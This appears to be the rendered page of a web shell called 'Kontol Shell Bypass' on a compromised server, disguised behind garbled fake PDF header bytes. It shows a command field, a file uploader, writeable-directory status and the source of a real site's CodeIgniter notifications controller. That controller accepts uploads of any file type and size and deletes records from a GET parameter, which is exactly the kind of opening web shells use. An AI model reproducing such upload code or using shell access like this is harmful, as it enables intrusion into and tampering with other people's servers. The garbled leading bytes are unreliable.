%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/chalkbank.com/application/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/chalkbank.com/application/controllers/Notifications.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
/**
 * Description of VideoUpload
 *
 * @author : Sharda Tech Pvt. Ltd
 */
class Notifications extends CI_Controller {

    //variable for storing error message
    private $error;
    
	//variable for storing success message
    private $success;

    function __construct() {
		parent::__construct();
		$this->load->database();
		$this->load->model("Notification_Model");
		$this->lang->load('basic', $this->config->item('language'));
		// redirect if not loggedin
		if(!$this->session->userdata('logged_in')){
			redirect('login');
		}
    }

    //appends all error messages
    private function handle_error($err) {
        $this->error .= $err . "\r\n";
    }

    //appends all success messages
    private function handle_success($succ) {
        $this->success .= $succ . "\r\n";
    }

	public function index(){
		$data = array();
		$condArray = array();
		$logged_in=$this->session->userdata('logged_in');
		$assignedModule = assignModuleList($logged_in['role_id']);
		if(!array_key_exists('econtent',$assignedModule)) {
			exit($this->lang->line('permission_denied'));
		}
		if($_POST['search']){
			$condArray['search'] = $_POST['search'];
		}
		
		if($_POST['gid']){
			$condArray['gid'] = $_POST['gid'];
			$data['gid'] = $_POST['gid'];
		}
		$uid = '';
		$list_gid = '';
		if($logged_in['su']=='1') { 
			$uid = $logged_in['uid']; 
			$condArray['admin_id'] = $uid;
			$list_gid = explode(',',$logged_in['gid']);
		} else if($logged_in['su']=='0') {
			$condArray['status'] = '2';
			$gid = $logged_in['gid'];
			$condArray['gid'] = $gid;
		}
		
		if($_GET['delete']>0)
		{
			$id = $_GET['delete'];
			$this->Notification_Model->remove_data($id);
			setHistory('Notification Info delete successfully');
			redirect('notifications');
		} 
				
		// Page Title		
		$data['title'] = $this->lang->line('notification');
		
		// Get All user Records
		$data['recorddetails'] = $this->Notification_Model->getAllEcontent($condArray);
				
		// Get Class List
		$data['groupList'] = $this->Notification_Model->group_list(NULL, $list_gid);
		
		$this->load->view('header',$data);
		$this->load->view('notifications/index',$data);
		$this->load->view('footer',$data);
		setHistory('Go to manage econtent');
	}
	
    public function addnotification($id='') 
	{
		$logged_in=$this->session->userdata('logged_in');
		$logged_in=$this->session->userdata('logged_in');
		$assignedModule = assignModuleList($logged_in['role_id']);
		if(!array_key_exists('qbank',$assignedModule)) {
			exit($this->lang->line('permission_denied'));
		}
		// Page Title	
	
		$data['title'] = 'Add '.$this->lang->line('notification');
		if($id>0){
			$data['title'] = 'Edit '.$this->lang->line('notification');
		} 
		$uid = '';
		$list_gid = '';
		if($logged_in['su']=='1') { $uid = $logged_in['uid']; $list_gid = explode(',',$logged_in['gid']); } else if($logged_in['su']=='0') { $uid = $logged_in['admin_id']; }
		
		if ($this->input->post('Submit')=='Save Notification'){
            //set preferences
            //file upload destination
            $upload_path = './upload/notification/';
            $config['upload_path'] = $upload_path;
            //allowed file types. * means all types
            $config['allowed_types'] = '*';
            //allowed max file size. 0 means unlimited file size
            $config['max_size'] = '0';
            //max file name size
            $config['max_filename'] = '255';
            //whether file name should be encrypted or not
            $config['encrypt_name'] = FALSE;
            //store video info once uploaded
			
            $video_data = array();
            //check for errors
            $is_file_error = FALSE;
            //check if file was selected for upload
            if (!$_FILES && empty($_POST['old_image'])) {
                $is_file_error = TRUE;
                $this->handle_error('Select a notification file.');
            }
			
            //if file was selected then proceed to upload
            if (!$is_file_error) {
                //load the preferences
                $this->load->library('upload', $config);
                //check file successfully uploaded. 'vfile_name' is the name of the input
                if (!$this->upload->do_upload('vfile_name')) {
                    //if file upload failed then catch the errors
                    $this->handle_error($this->upload->display_errors());
                    $is_file_error = FALSE;
                } else {
                    //store the video file info
                    $video_data = $this->upload->data();
                }
            }
            // There were errors, we have to delete the uploaded video
			
            if ($is_file_error && empty($_POST['old_image'])) {
			    if ($video_data) {
                    $file = $upload_path . $video_data['file_name'];
                    if (file_exists($file)) {
                        unlink($file);
                    }
                }
            } else {
				$parms = array();
				if($_POST['old_image']!='' && $video_data['file_name']=='') 
				{ 
					$parms['vfile_name'] = $_POST['old_image']; 
				} else {
					$parms['vfile_name'] = $video_data['file_name'];
				}
				//$parms['video_path'] = $upload_path;
               // $parms['video_type'] = $video_data['file_type'];
				if($uid>0){
					$parms['admin_id'] = $uid;
				}
                $parms['gid'] = implode(',',$this->input->post('gid'));
                $parms['title'] = $this->input->post('title');
                $parms['description'] = $this->input->post('description');
                $parms['status'] = $this->input->post('status');
				if($this->input->post('id')){
					$id = $this->input->post('id');
					$parms['modifiedon'] = date('Y-m-d H:i:s A');
					$this->Notification_Model->updateinfo($tbl_name='tbl_notifications_master',$parms,'id',$id);
					setHistory('Notification Info Updated successfully');
				} else {
					$parms['createdon'] = date('Y-m-d H:i:s A');
					$resp = $this->Notification_Model->saveinfo($tbl_name='tbl_notifications_master',$parms); 
					setHistory('Notification Info Added successfully');
				}
				redirect('notifications');
            }
        }
		
		$id = base64_decode($_GET['edit']);
		if($id>0){
			$data['sd'] = $this->Notification_Model->getSingleRecord('tbl_notifications_master',' * ', array('id'=>$id));
		}
		
		// Get Class List
		$data['groupList'] = $this->Notification_Model->group_list(NULL, $list_gid);
		
        //load the error and success messages
        $data['errors'] = $this->error;
        $data['success'] = $this->success;
        //load the view along with data
        $this->load->view('header',$data);
        $this->load->view('notifications/add',$data);
        $this->load->view('footer');
		setHistory('Go to Add notification');	
    }
	
	/*
	* Function : viewcontent
	*
	*
	*/
	public function viewnotifications($vfileName)
	{ 
		$data = array();
		$condArray = array();
		$logged_in=$this->session->userdata('logged_in');
		$assignedModule = assignModuleList($logged_in['role_id']);
		if(!array_key_exists('econtent',$assignedModule)) {
			exit($this->lang->line('permission_denied'));
		}
		$data['title'] = $this->lang->line('notification');
		$uid = '';
				
		if($logged_in['su']=='1') { 
			$uid = $logged_in['uid']; 
			$condArray['admin_id'] = $uid;
		} else if($logged_in['su']=='0') {
			$condArray['status'] = '2';
			$gid = $logged_in['gid'];
			$condArray['gid'] = $gid;
		}
		
		if($vfileName!=''){
			$condArray['id'] = base64_decode($vfileName);
		}
		
		$data['sd'] = $sd = $this->Notification_Model->getSingleRecord('tbl_notifications_master',' * ', $condArray);
		
		$data['title'] = $sd['title'].' - '.$this->lang->line('econtent');	
		// Get Class List
		if($uid>0){
			$data['groupList'] = $this->Notification_Model->group_list($uid);
		}
		$this->load->view('header',$data);
        $this->load->view('notifications/view',$data);
        $this->load->view('footer');
		setHistory('Go to view notification');	
		
	}
}

Kontol Shell Bypass